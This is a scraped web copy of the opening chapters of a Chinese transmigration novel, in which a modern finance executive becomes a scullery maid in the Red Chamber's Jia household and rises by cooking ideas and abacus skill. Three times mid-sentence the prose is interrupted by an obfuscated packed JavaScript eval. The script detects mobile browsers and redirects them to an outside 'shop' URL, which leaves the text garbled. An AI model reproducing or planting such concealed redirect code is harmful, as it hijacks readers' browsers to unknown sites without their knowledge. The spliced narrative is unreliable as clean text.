《红楼之贾府丫鬟要上位》 1. 金融女王穿成扫地丫鬟 苏璃是被冻醒的。 腊月的寒风像刀子一样，从破旧的窗纸窟窿里钻进来，刮在她脸上。 她猛地睁开眼，映入眼帘的不是她熟悉的顶层公寓落地窗和都市夜景，而是低矮、黢黑的木质屋顶，空气中弥漫着一股潮湿的霉味和淡淡的柴火气。 身上盖的是一床硬邦邦、带着一股馊味的旧棉被，压得她有些喘不过气。 记忆如潮水般涌入脑海：现代金融女高管苏璃，在敲定一桩横跨亚太的百亿并购案后，因过度劳累猝死在了办公桌前。而现在，她成了荣国府里一个名叫柳絮的、最不起眼的粗使丫鬟。 原主刚因“笨手笨脚”打碎了管事嬷嬷心爱的茶盏，被从二等丫鬟贬黥至这后厨杂役院，连个正经名字都没有，只因生在柳絮纷飞时节，便得了这么个名儿。 昨夜又惊又怕，加上天寒地冻，一场高烧直接要了她的小命，这才让苏璃趁虚而入。 “嘶——”苏璃试图起身，却感觉浑身酸痛，脑袋像是被重锤敲过，嗡嗡作响。她低头看了看自己这具新身体，瘦小干瘪，最多不过十二三岁的年纪，手腕细得仿佛一折就断，一身洗得发白的粗布棉衣，袖口都磨出了毛边。 真是……地狱开局。苏璃在心里苦笑。前世她坐拥亿万资产，挥手间能影响金融市场波动，如今却连保暖都成问题。 “柳絮！死丫头还不起？等着老娘拿鞭子抽你呢！”门外传来一个粗哑的妇人声音，伴随着不耐烦的拍门声。 苏璃一个激灵，属于原主的恐惧记忆让她下意识地绷紧了身体。是管杂役院的张婆子，刻薄寡恩，对底下的小丫鬟非打即骂。 她深吸一口气，强迫自己冷静下来。慌解决不了任何问题，既然来了，就得活下去，而且要活得比前世更好！ 她迅速翻身下床，套上那双露出脚趾的破旧棉鞋，一边整理着头发，一边用尽量顺从的语气应道：“来了，张妈妈，这就来！” 推开吱呀作响的木门，一股更凛冽的寒气扑面而来。 天色还未全亮，院子里灰蒙蒙的，几个同样穿着破旧的小丫鬟正缩着脖子，在井边打水，手冻得通红。张婆子揣着手，穿着一件半新不旧的藏蓝棉比甲，正吊梢着眼瞪她。 “磨磨蹭蹭的，当自己还是奶奶屋里的娇俏人呢？”张婆子唾沫星子几乎喷到苏璃脸上，“赶紧的，把院子扫了，再去后角门把今早送来的柴火搬进来堆好！耽误了事儿，仔细你的皮！” 说着，扔过来一把快秃了的扫帚。 “是，张妈妈。”苏璃低下头，掩去眸中一闪而过的厉色，接过扫帚，默默走到院子中央。 寒风卷着地上的尘土和枯叶，扫起来格外费力。这身体本就虚弱，又刚发过烧，每挥动一下扫帚，苏璃都觉得眼前发黑，手臂酸软。但她咬紧牙关，一声不吭，只是更加仔细地观察着周围的环境。 杂役院位于荣国府最偏僻的角落，紧邻着后厨房。院子不大，住了七八个像她一样的最低等丫鬟和婆子。透过月亮门，能看到厨房那边已经升起了炊烟，人声渐起，隐约能闻到熬粥的香气。 这就是贾府，红楼梦中那个锦绣富贵人家。可这富贵，与她们这些底层奴仆毫无关系，甚至她们的悲惨，正是构筑这繁华富贵的基石。 苏璃一边机械地扫着地，大脑一边飞速运转。根据原主的记忆，现在是红楼故事开始前几年，贾元春尚未封妃，贾府外表还维持着烈火烹油的兴盛，但内里的蛀空早已开始。王熙凤刚刚接手管家不久，正雷厉风行地整顿家务，试图挽回颓势。 这是一个机会。王熙凤需要能干的人，尤其是能帮她理财管账的人。而理财管账，恰恰是苏璃的老本行，是她刻在骨子里的本能。 可是，怎么才能从一个扫地丫鬟，进入到王熙凤的视线？直接跑去说自己是金融奇才？只怕会被当成失心疯乱棍打死。 必须等待，必须隐忍，必须找到一个恰到好处的切入点。 “哐当！”一声脆响，打断了苏璃的思绪。 她抬头望去，只见厨房那边，一个负责洗菜的小丫鬟失手打碎了一摞粗瓷碗，吓得脸色惨白，浑身发抖。 一个穿着体面些、像是厨房小管事的媳妇子立刻冲了过去，劈头盖脸就是一顿骂：“作死的小蹄子！这碗筷都是上了册的，打碎了扣你的月钱都赔不起！真是晦气！” 那小丫鬟不过十岁左右，吓得只会哭求：“李嫂子饶命，我不是故意的，地太滑了……” “还敢顶嘴？”李嫂子扬手就要打。 苏璃心中一动。机会往往藏在细节里。她注意到，那李嫂子骂人时，眼神闪烁，不时瞟向厨房里面堆放食材的角落，似乎有些心虚。而地上散落的碎片旁边，还有几片不太新鲜的菜叶和一小撮明显是次等、甚至掺了沙土的米。 厨房，历来是油水最厚，也最容易出纰漏的地方。尤其是在贾府这样人口众多、管理开始松懈的大家族。 苏璃没有立刻上前，她继续低头扫地，但耳朵却竖了起来，仔细听着那边的动静，眼角的余光将李嫂子的神态和小丫鬟的惶恐尽收眼底。 她需要更多的信息，来判断这厨房里的水有多深，以及自己能从中得到什么。 扫完院子，苏璃又被指派去后角门搬运柴火。后角门连通着外面的小巷，是府里运送杂物、垃圾的通道。两个粗使婆子正守在那里，和一个穿着短打的汉子交接几捆柴火。 那汉子皮肤黝黑，一脸憨厚，但眼神却透着几分精明。他递柴火的时候，悄悄塞给其中一个婆子一个小布包，那婆子迅速揣进怀里，脸上露出满意的神色。 “王老实，今儿的柴火可要干燥些，别像上次那样湿漉漉的，惹得厨房抱怨。”那婆子假模假式地叮嘱道。 “放心放心，张嬷嬷，都是上好的干柴，保管灶火旺！”那叫王老实的汉子连连保证。 苏璃心中冷笑。王老实？只怕一点也不老实。那布包里，多半是铜钱或者碎银子。采购吃回扣，古今皆然。只是不知道，这层层盘剥，最终亏空的是公中的账目，还是克扣了下人的伙食。 她默不作声地走过去，抱起一捆相对干爽的柴火。柴火很沉，她这小身板抱起来十分吃力，脚步都有些踉跄。 “哟，这不是柳絮姑娘吗？怎么干起这粗重活了？”另一个婆子阴阳怪气地笑道，带着明显的幸灾乐祸。她们都知道柳絮被贬黜的事情。 苏璃停下脚步，抬起头，脸上挤出一个怯懦又带着几分讨好的笑容：“刘嬷嬷说笑了，我现在就是个杂役，什么活都得干。这柴火……是重了些。” 她故意表现得吃力又笨拙，仿佛随时会摔倒。 那刘嬷嬷嗤笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908574|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声，没再理她，转头又和王老实低声说笑起来。 苏璃垂下眼，继续艰难地搬运柴火。一趟，两趟……她累得气喘吁吁，额角冒汗，但在无人注意的时候，她的目光锐利地扫过堆放的柴火，估算着数量、质量，记下王老实和那两个婆子交接的细节，甚至默默数着他们低声交谈的次数和时长。 这些看似无用的信息，将来或许都能成为筹码。 搬完柴火，已是日上三竿。苏璃又饿又累，回到杂役院，和其他丫鬟一起，领到了自己的早饭，一个掺着麸皮的冷硬窝头，一碗能照见人影的稀粥，外加一小碟齁咸的腌萝卜。 这就是她一天的主要食物。想要改变命运，首先得活下去，并且要尽快摆脱这种连基本生存都难以保障的境地。 吃完饭，有短暂的休息时间。小丫鬟们聚在背风的墙角，搓着冻僵的手，低声说着闲话。话题无非是哪个主子心情好赏了钱，哪个管事嬷嬷又克扣了月钱，或者哪个小厮和丫鬟偷偷看对了眼。 苏璃安静地坐在角落，看似在发呆，实则将每一句闲聊都听了进去。从这些琐碎的信息中，她努力拼凑着贾府后院的权力结构、人际关系网，以及那些不为人知的潜流和裂缝。 “……听说琏二奶奶昨儿又发了好大的火，好像是账房那边交上来的账目不对。”一个稍微机灵点的小丫鬟小声说道。 “可不是，现在府里开销大，进项却少了，二奶奶管家不易呢。”另一个接话。 “唉，主子们的事，咱们操什么心，能吃饱穿暖就不错了……” 账目不对？苏璃的心脏猛地一跳。这不正是她等待的切入点吗？ 但她按捺住激动。现在还不是时候。她人微言轻，没有任何凭仗，贸然凑上去，只会被当成别有用心。她需要更充分的准备，需要一个能自然展现自己价值的机会，而不是刻意卖弄。 下午的活计是清洗厨房送来的大量碗碟。冰冷刺骨的水，油腻的污垢，苏璃的手很快冻得麻木、红肿、开裂。她看着水中自己模糊的倒影：一张稚嫩却写满疲惫的脸，眼神却异常明亮和坚定。 这点苦，比起前世在华尔街熬夜厮杀、承受巨大压力时，算得了什么？至少，这里没有随时可能将她吞噬的金融巨鳄，有的只是看得见、摸得着的人心算计。而算计人心，正是她最擅长的游戏。 她仔细地清洗着每一个碗碟，动作看似缓慢笨拙，却异常干净。她在观察，哪些碗碟是主子们用的，哪些是下人用的；哪些食材是上等的，哪些是次等的被充作好的。她在心里默默构建着贾府后厨的物资流动模型。 结束了一天的劳作，夜幕降临。杂役院里鼾声四起，丫鬟婆子们都累得沉沉睡去。苏璃却毫无睡意，借着窗外微弱的月光，她用手指蘸着冷水，在冰冷的土炕上，一遍遍练习着这个时代的数字写法，回忆着原主记忆中那简陋的账本格式。 繁体字，竖排，没有阿拉伯数字，没有表格……一切都要重新适应。 寒冷让她手指僵硬，思维却越发清晰。她知道，这条路很难，布满荆棘。但她苏璃，从来就不是坐以待毙的人。从扫地丫鬟到执掌自己的命运，这第一步，她必须走得稳，走得准。 窗外，北风呼啸，卷过荣国府高大的院墙，也吹拂着这间破旧杂役院里，一颗不甘沉寂、即将掀起波澜的心。 2. 厨房里的算盘声 日子在重复的劳累与严寒中滑过。 苏璃，或者说柳絮，像一颗被遗忘的石子，沉在荣国府最底层。 她每日重复着扫地、搬柴、洗碗的活计，沉默寡言，看起来和原主一样笨拙顺从，甚至因为病后初愈，动作比旁人更慢些，没少挨张婆子的斥骂和白眼。 但无人知晓，在这副温顺的皮囊下，大脑每时每刻都在高速运转。她像一块干燥的海绵，疯狂吸收着关于这个时代、这个府邸的一切信息。丫鬟婆子们的闲聊，管事媳妇们的只言片语，甚至往来仆役的神色姿态，都成了她分析判断的素材。 她重点关注两个地方：厨房和账房附近。 厨房是物资流转的核心，也是藏污纳垢之所。通过观察，她基本摸清了厨房的人员结构。总管事是赖大家的，不常来，实际管事的是李嫂子和她手下的几个媳妇。采买由外院男仆负责，但验收、入库、出库的环节，猫腻就多了。 她亲眼见过李嫂子将送来的上等粳米，掺入次等米，再将多出来的好米悄悄让人带出去。也见过本该供给主子们的时鲜蔬菜，被掐头去尾，好的部分不知去向，剩下的才端上桌。柴火、炭薪的虚报数量更是家常便饭。 这些手段并不高明，甚至有些粗陋，但在管理日渐松弛的贾府，竟也成了约定俗成的“规矩”。苏璃在心中冷笑，这点小打小闹，比起她前世见过的资本运作和财务造假，简直是小儿科。但就是这些蚁穴，正在慢慢掏空贾府这座大堤。 而账房，则是这一切漏洞的最终体现。 她曾远远看到账房先生皱着眉头进出，也听过小厮抱怨二奶奶查账查得紧，月钱都晚发了几天。王熙凤显然已经意识到了问题，但她初掌管家大权，手下盘根错节，想要雷厉风行地整顿，阻力不小。 苏璃在等待，等待一个能将她的“价值”自然呈现到王熙凤面前的机会。 她需要一场“意外”，一场能让她从背景板中凸显出来的“表演”。 机会在一个飘着细雪的清晨，悄然而至。 这天轮到苏璃和另一个叫春杏的小丫鬟去厨房帮工，主要负责清洗午膳要用的碗碟和协助处理一些简单的食材。 春杏是个心思简单的丫头，只知道埋头干活。 厨房里热气蒸腾，人声嘈杂。李嫂子正指挥着几个媳妇准备各房主子的早点和午膳食材，嗓门比锅铲碰撞声还响。 “动作都利索点！今儿个琏二奶奶要在花厅陪客，点心席面不能出半点差错！” 就在这时，一个负责采买的小厮急匆匆跑进来，脸上带着慌急：“李嫂子，不好了！原定送来的新鲜河虾，因雪天路滑，渔户说捞不着，送不来了！” 李嫂子一听，脸色顿时变了：“什么？送不来？你可知道今天花厅的席面，水晶虾饺是二奶奶特意点名要的！你这让我拿什么顶上？” 那小厮苦着脸：“嫂子，我也没法子啊，天公不作美……” 厨房里瞬间乱成一团。缺少主要食材，还是二奶奶点名要的，这责任谁也担待不起。李嫂子急得团团转，骂完小厮又骂天气。 苏璃正在角落默默洗着一筐萝卜，听到这话，心中一动。她知道，自己的机会来了。但她不能主动跳出来，那太刻意。她需要让问题自己找上门。 果然，李嫂子目光扫过厨房，最终落在了那堆萝卜和旁边一些泡发的香菇、木耳上，眼中闪过一丝无奈和侥幸。她快步走到苏璃这边，指着那堆食材，语气急促地命令道：“柳絮，春杏！别洗那些了！赶紧的，把这些萝卜去皮切丝，要细！香菇、木耳也切碎了备用！” 春杏愣愣地应了声，拿起削皮刀就开始干活。苏璃却放缓了动作，抬起头，脸上带着恰到好处的怯懦和疑惑，小声问：“李嫂子，这是……要做什么菜？萝卜丝和虾饺怕是……” 李嫂子正心烦，没好气地道：“问那么多做什么？让你切就切！没有虾，只能用别的凑数了！快点的！” 苏璃低下头，手下开始利落地处理萝卜，心中却已明了。这是打算用萝卜丝混上香菇木耳末，冒充虾肉做馅料？ 真是……蠢得可以。 王熙凤何等精明，这种粗劣的替代品，入口便能尝出差别，到时候就不是食材短缺的小过，而是欺瞒主上的大罪了。 她必须阻止，但要以一种不引人怀疑的方式。 她一边飞快地切着萝卜丝，刀工竟出乎意料地均匀细巧，一边用不大但足够让附近几个人听到的声音，仿佛自言自语地喃喃：“这萝卜丝……若是用盐略腌一下逼出水份，口感会不会更爽脆些？只是……不知会不会影响原本计划的味道……” 她的话看似在琢磨怎么把活干得更好，却巧妙地提到了“原本计划的味道”。旁边一个正在和面的媳妇听到了，顺口接了句：“哪还有什么原本计划，这不是没法子了吗？” 苏璃立刻露出恍然和更加不安的神情，手下动作更慢了，怯生生地看向李嫂子：“嫂子，我……我听说二奶奶舌头最是厉害，一点不对都能尝出来……咱们用萝卜代替，万一……万一被尝出来，会不会……” 她没把话说完，但那种恐惧和担忧表现得淋漓尽致。 这话像一盆冷水，浇在了焦头烂额的李嫂子头上。她猛地惊醒！是啊，琏二奶奶可不是好糊弄的！自己光想着凑数，却忘了这一层！真要被当场揭穿，她这个厨房管事也就当到头了！ 李嫂子脸色变了几变，看着已经切好的部分萝卜丝，又看看苏璃那副“胆小怕事”却点醒了关键问题的模样，心里又急又气，却不得不承认这小丫头说得有道理。 “那……那你说怎么办？虾没有，点心又不能不做！”李嫂子语气缓和了些，带着一丝不易察觉的求助。 苏璃知道火候到了。 她放下刀，依旧低着头，声音轻柔却清晰：“奴婢蠢笨，不懂这些……只是想着，既然鲜货没有，是不是可以用些味道鲜甜又不易出错的干货？比如……库房里或许有上好的金华火腿末？取它的咸鲜味，再混合些嫩笋尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908575|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者荸荠碎增加口感，做成馅料，或许……或许别有一番风味，还能说是厨房新想的时令点心？” 她的话条理清晰，不仅提出了替代方案，连具体用料和口感都考虑到了，甚至为可能的口味变化找好了“新意”的借口。这哪里是一个笨拙小丫鬟能想到的？ 李嫂子愣住了，仔细打量着眼前这个瘦小的丫头。她还是那副怯生生的样子，但说出来的话却像久经厨房的老手。库房里确实有金华火腿，是年节时备下的。笋尖和荸荠也都不难找。 “你……你怎么会懂这些？”李嫂子狐疑地问。 苏璃心中早有腹稿，脸上适时地露出一丝怀念和伤感：“回嫂子，我娘……没进府前，在家乡的小饭馆帮过厨，我小时候在旁边看，依稀记得些……胡乱说的，嫂子别见怪。”她将理由推给了模糊的“娘亲记忆”，合情合理。 李嫂子将信将疑，但眼下形势紧迫，容不得她细究。苏璃的方案听起来确实比用萝卜丝冒充靠谱得多，至少不会被轻易识破，甚至可能因为新奇而得到夸奖。 “算你还有点用处！”李嫂子当机立断，“就按你说的试试！春杏，你去库房找王嬷嬷取些火腿来！柳絮，你……你来负责调这个馅料，我看着！” “是。”苏璃恭顺地应下，心中松了口气。第一步，成功了。 她不再藏拙，挽起袖子，熟练地指挥春杏取来所需食材。火腿如何蒸制、切末，笋尖如何焯水保持脆嫩，荸荠如何剁碎不出水……她操作起来竟有模有样，虽然动作因身体瘦弱而略显缓慢，但那份从容和专业的气度，让一旁盯着她的李嫂子暗暗称奇。 馅料调好，咸鲜适中，口感丰富。李嫂子尝了一点，眼睛一亮，悬着的心放下大半。她立刻让人和面、擀皮，包制成形似虾饺的点心，上笼蒸制。 当一笼笼晶莹剔透、散发着独特咸香的点心出炉时，厨房众人都松了口气。李嫂子看着苏璃的眼神复杂了许多，有惊讶，有庆幸，也有一丝不易察觉的忌惮。 点心按时送到了花厅。 午后，消息传回厨房：琏二奶奶对今日的点心颇为满意，尤其称赞那“火腿笋尖饺”鲜香爽口，别有新意，还额外赏了厨房一吊钱！ 厨房里一片欢腾，李嫂子脸上也有了光，难得地对苏璃露出了点笑意：“这次算你立了功，这赏钱……也有你一份。”她抠抠搜搜地数了十个铜板递给苏璃。 苏璃接过铜板，脸上露出受宠若惊的感激表情，心里却平静无波。这点赏钱，不过是开始。重要的是，她今天在厨房，尤其是在李嫂子面前，初步展示了她的“价值”。 她相信，关于“柳絮”这个看似笨拙的丫头，却意外有点厨艺急智的消息，很快就会通过李嫂子和其他人的嘴，在小范围内传开。这为她下一步接触更高层次的人物，埋下了一颗重要的种子。 风雪依旧，但苏璃感觉，通往她目标的那条路，似乎透进了一丝微光。她摩挲着口袋里那十枚还带着厨房温热的铜钱，眼神愈发坚定。 3. 王熙凤的试探 火腿笋尖饺带来的风波，如同投入池塘的石子，涟漪虽不剧烈，却悄然扩散。 杂役院的柳絮不再是完全透明的小丫头，至少在厨房那一亩三分地，李嫂子看她的眼神里，多了几分审视和不易察觉的倚重。 赏钱的事，苏璃没有声张，只悄悄藏好。 在这底层仆役中，十文钱也能惹来红眼和是非。她依旧每日做着最脏最累的活，沉默寡言，仿佛那日的急智只是昙花一现。但暗地里，她观察得更细致，记忆得更牢固。 李嫂子如何与采买交接，每日食材的消耗与剩余，甚至各房主子饮食的偏好和剩菜情况，都成了她脑中不断更新补充的数据。 她知道，李嫂子这种人，不会因为一次帮忙就真正信任她，反而可能因她显露的“不同”而心生警惕。下一次机会，必须来得更自然，更具决定性。 天气愈发寒冷，年关将近，府里的事务越发繁忙。采买年货、准备祭祀、裁制新衣、发放年赏……王熙凤忙得脚不沾地，脾气也见长，听说这几日已经发落了好几个办事不力的管事。 这日午后，苏璃刚洗完一大盆碗碟，手指冻得胡萝卜般红肿僵硬，正准备歇口气，却见李嫂子皱着眉头从外面回来，嘴里不住地低声咒骂着什么。她看到角落里的苏璃，眼神闪烁了一下，竟破天荒地招了招手。 “柳絮，你过来。” 苏璃心中微动，面上却带着几分惶恐，小步挪过去：“李嫂子，有什么吩咐？” 李嫂子将她拉到僻静处，压低声音，脸上带着烦躁和一丝不确定：“上次你那个火腿饺子的主意，还算灵光。眼下有件棘手事，你……你娘以前在饭馆，可听说过怎么处理些不常用的、量又大的干货？” 苏璃心跳漏了一拍，面上越发恭顺：“嫂子请说，我……我尽力回想。” 李嫂子叹了口气：“库房清点，翻出去年采买多了的一批次等海带和些干瘪的虾皮，堆在那里占地方，账房那边催着处理，要么想办法用掉，折价入账，要么就得报损。报损多了，二奶奶那边肯定要过问，少不得一顿排揎……可这东西，味道寻常，量又大，怎么用？” 苏璃瞬间明白了。 这是典型的库存积压问题，在企业管理中常见。次等海带和虾皮，确实食之无味，弃之可惜。但若处理得当，未必不能变废为宝，甚至……她脑中飞快闪过一个念头。 她沉吟片刻，没有直接回答，反而怯生生地问：“嫂子，这批货……若是报损，大概要折多少银子？” 李嫂子没想到她会问这个，愣了一下，才含糊道：“总得有几两银子吧……具体数目得问账房。” 苏璃点点头，仿佛在努力回忆：“我好像记得……我娘说过，海带和虾皮一起熬汤，汤底会特别鲜。若是量太大，单做菜不行，或许……可以做成一种方便的汤料？比如，把它们都烘干研磨成细粉，用干净罐子装起来。平日里主子们想吃个宵夜，或者丫鬟婆子们值夜，舀一勺用开水一冲，就是一碗热腾腾的鲜汤，省时省力，也……也算是个新鲜物事？” 她顿了顿，观察着李嫂子的神色，继续小心翼翼地补充：“而且……做成粉末，体积小了好存放，也不显眼。若是……若是嫂子觉得可行，或许还能跟二奶奶回禀，说是厨房想出的节俭新法，既处理了陈货，又方便了府里上下，说不定……还能得句夸赞？” 苏璃的话，如同在李嫂子混沌的思绪中划亮了一根火柴！ 变废为宝！不仅解决了库存问题，还能在王熙凤面前表功！王熙凤如今正为府里开支头疼，最喜底下人能节俭生法。这“方便汤料”的主意，听起来匪夷所思，但细细一想，却大有可为！尤其是“节俭新法”这几个字，简直说到了点子上！ 李嫂子看着苏璃的眼神彻底变了。这丫头，绝不仅仅是有点厨艺急智那么简单！她看待问题的角度，解决问题的思路，完全超出了一个小丫鬟的范畴！这背后……难道真有高人指点？或者，这柳絮本身就是个深藏不露的？ 惊疑不定之下，李嫂子没有立刻表态，只含糊道：“你这想法……倒是稀奇。我琢磨琢磨。”说完，便心事重重地走开了。 苏璃知道，鱼儿已经咬钩。李嫂子必然会去尝试，并且会权衡是否将这个“功劳”据为己有，或是冒险将她推出去。无论哪种选择，对她而言，都是向上一步的机会。 果然，两天后，苏璃被张婆子叫去，说李嫂子找她。到了厨房，只见角落里支起小磨，李嫂子正指挥人将烘干的海带和虾皮磨成粉，空气中弥漫着一股浓郁的海洋鲜香。看到苏璃，李嫂子神色复杂，屏退了左右。 “柳絮，你那个汤料的主意，我试了，味道确实鲜。”李嫂子盯着她，“这事儿，我打算禀报二奶奶。只是……这话该怎么说，你可有想法？” 苏璃心中了然。李嫂子是想抢功，但又怕自己说不清楚，反而露馅，所以需要她这个“点子来源”从旁协助，却又不想让她独占风头。 苏璃立刻表现出十足的惶恐和顺从：“嫂子说笑了，我一个粗使丫头，能有什么想法？一切都是嫂子主持试制的，我不过是胡乱说了句闲话。一切但凭嫂子做主，需要我做什么，我绝无二话。” 她的态度让李嫂子十分满意，戒心也消减了几分。李嫂子点点头：“算你识相。这样，明天上午，二奶奶大概有空，我带你过去回话。机灵点，该说的说，不该说的……管好自己的嘴！” “是，嫂子放心。”苏璃垂首应下。 次日，苏璃换上了一身勉强算干净的旧衣，跟着李嫂子，第一次踏出了杂役院和厨房的区域，向着荣国府的核心地带——王熙凤日常理事的院落走去。 飞檐斗拱，抄手游廊，穿堂过室，一路上的富丽景象比杂役院的破败繁华了何止百倍。丫鬟仆妇衣着光鲜，行动间规矩森严。苏璃低眉顺眼，亦步亦趋，心中却冷静地记下路径和所见的一切。 到了王熙凤院子的厢房外，早有丫鬟通报。李嫂子深吸一口气，整理了一下衣襟，才带着苏璃躬身进去。 屋内暖意融融，熏香淡淡。王熙凤正坐在临窗的炕上，手里拿着一本账册，眉头微蹙。她身着一件暗红色长裙，长裙上用金线绣着繁复的藤蔓与飞鸟的纹样，光线流转时，图案便若隐若现，整个人静坐在那里，不声不响，却已是光华内敛。只是眉宇间带着一丝挥之不去的疲惫和凌厉。 平儿安静地站在一旁伺候。 “给二奶奶请安。”李嫂子拉着苏璃跪下。 王熙凤眼皮都没抬，只淡淡“嗯”了一声：“什么事？快说，我这儿还忙着呢。” 李嫂子连忙将准备好的说辞禀上，重点强调了自己如何“苦心琢磨”出处理陈货、制作方便汤料以节省开支的“新法”，并呈上了一小罐试制成的汤粉。 王熙凤这才放下账册，拿起那罐汤粉，打开闻了闻，又让平儿冲了一碗。她浅浅尝了一口，凤眸微眯，看不出喜怒。 “味道倒还鲜。”她放下碗，目光扫过李嫂子，最终落在一直伏低身子、看似紧张不安的苏璃身上，“这个头是做什么的？你带她来作甚？” 李嫂子心里一紧，忙道：“回二奶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908576|192429||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶，这丫头叫柳絮，是杂役院的。这研磨的细活，她手巧，这次试制她也帮了些忙，奴婢带她来，是想让她给奶奶演示一下如何冲泡。” 王熙凤何等人物，李嫂子那点心思她一眼就看穿了。这主意若真是李嫂子想的，她绝不会多此一举带个粗使丫头来。她嘴角勾起一抹似笑非笑的弧度，目光如电，直刺向苏璃。 “哦？你叫柳絮？抬起头来。” 苏璃依言抬头，目光却依旧恭敬地垂着，不敢与王熙凤对视，身体微微发抖，将一个没见过世面、胆小怯懦的小丫鬟演得惟妙惟肖。 “这汤料的主意，真是李嫂子想的？”王熙凤的声音不高，却带着无形的压力。 苏璃声音发颤，却回答得清晰：“回……回二奶奶的话，是李嫂子主持试制的。奴婢……奴婢只是听嫂子吩咐，干些研磨的粗活。” 她巧妙地将“主意”偷换概念为“试制”，既没否认李嫂子的主导作用，也没承认主意是李嫂子的，把皮球又踢了回去，滴水不漏。 王熙凤眼中闪过一丝极淡的讶异。这小丫头，看着害怕，回话却颇有章法。她不再追问，转而问道：“你说你手巧？除了研磨，还会什么？” 苏璃心中狂跳，知道真正的考验来了。她深吸一口气，依旧低着头，小声道：“奴婢……奴婢以前看人记过账，会写几个数字，也会……也会打算盘。” 她说得极其谦卑，却像一颗石子，投入了王熙凤的心湖。 记账？算盘？一个粗使丫鬟？ 王熙凤的目光骤然锐利起来，她重新打量起眼前这个瘦小、看似毫不起眼的丫头。府里缺什么？缺的就是能理清账目、帮她堵住漏洞的人！账房那几个老油条，滑不溜手，背后关系复杂，她正愁没有可靠的新人手。 这丫头，是真有本事，还是信口开河？ “哦？”王熙凤拖长了语调，对平儿使了个眼色。平儿会意，立刻取来一个小算盘和一张简单的货单。 “既然你会，那就当场算算这单子上的数目。”王熙凤将货单扔到苏璃面前，语气平淡，却不容置疑。 李嫂子在一旁冷汗都下来了，生怕柳絮出丑连累自己。 苏璃知道，这是她穿越以来，最重要的一次机会。她深吸一口气，强迫自己冷静下来。她跪行上前，拿起算盘和货单。 货单上列着几样物品的数量和单价，需要计算总价。数字是繁体，竖排，但对她来说并不难。她熟练地将算盘复位，指尖灵活地拨动起算珠。 清脆的噼啪声在安静的房间里响起，带着一种奇异的节奏感。苏璃全神贯注，心无旁骛，前世在键盘上运指如飞的感觉仿佛又回来了，只是工具换成了这古老的算盘。 不过片刻，她停下动作，恭声道：“回二奶奶，算好了，总计是八两七钱三分。” 平儿早已心算完毕，眼中露出惊讶，对王熙凤微微点头，表示数目无误。 王熙凤看着苏璃那双虽然红肿却异常稳定的手，又看看她低垂却难掩聪慧轮廓的侧脸，心中的疑窦和兴趣同时升起。一个杂役院的丫头，竟有如此熟练的算盘技巧和沉稳的心性？ 她挥了挥手，让李嫂子先退下。李嫂子如蒙大赦，赶紧磕头离开。 房间里只剩下王熙凤、平儿和跪在地上的苏璃。 王熙凤慢条斯理地拨弄着手腕上的玉镯，良久，才缓缓开口，声音里听不出情绪：“柳絮……你这身本事，待在杂役院，倒是屈才了。” 苏璃的心，提到了嗓子眼。 她知道，决定命运的时刻，到了。 4. 算盘惊凤 厢房里静得能听见炭盆中火星迸裂的细微噼啪声。 王熙凤的目光如同实质，沉甸甸地压在苏璃（柳絮）低垂的脊背上。那句“屈才了”，轻飘飘的，却带着千钧之力，悬在苏璃头顶。 苏璃知道，此刻任何一丝多余的反应都可能前功尽弃。 她将头埋得更低，身体恰到好处地微微颤抖，声音带着被巨大惶恐压抑后的哽咽：“二奶奶折煞奴婢了……奴婢……奴婢只是侥幸会拨弄几下算盘，当不得奶奶如此夸赞。能在府里有口饭吃，有片瓦遮身，已是天大的造化，不敢……不敢有非分之想。” 她将自己的姿态放到最低，将一切归为“侥幸”和“造化”，绝口不提任何诉求，反而强调对现状的满足。这是一种以退为进的策略，既符合她当下“卑微丫鬟”的人设，又能进一步勾起王熙凤的好奇和掌控欲。 果然，王熙凤见她如此惶恐，不似作伪，眼中的审视略微淡去，取而代之的是一丝玩味和算计。 她需要一把刀，一把锋利、顺手，却又完全掌握在自己手中的刀。眼前这个丫头，有超出常人的能力，却无依无靠，背景干净得像张白纸，正是绝佳的人选。关键是，如何打磨，又如何确保这把刀不会伤到自己。 “抬起头来。”王熙凤的声音缓和了些，却依旧带着不容置疑的威严。 苏璃依言抬头，眼眶微红，眼神里充满了敬畏和一丝被“大人物”关注后的不知所措，完美演绎了一个底层丫鬟应有的反应。 王熙凤仔细端详着她的脸，除了营养不良导致的清瘦和苍白，眉眼间竟有几分难得的清秀和聪慧之气，尤其是那双眼睛，虽然此刻盛满了惶恐，但眼底深处似乎藏着一股不易察觉的沉静。这不像是个蠢笨丫头该有的眼神。 “你这算盘，跟谁学的？”王熙凤状似随意地问道，手指轻轻敲着炕桌。 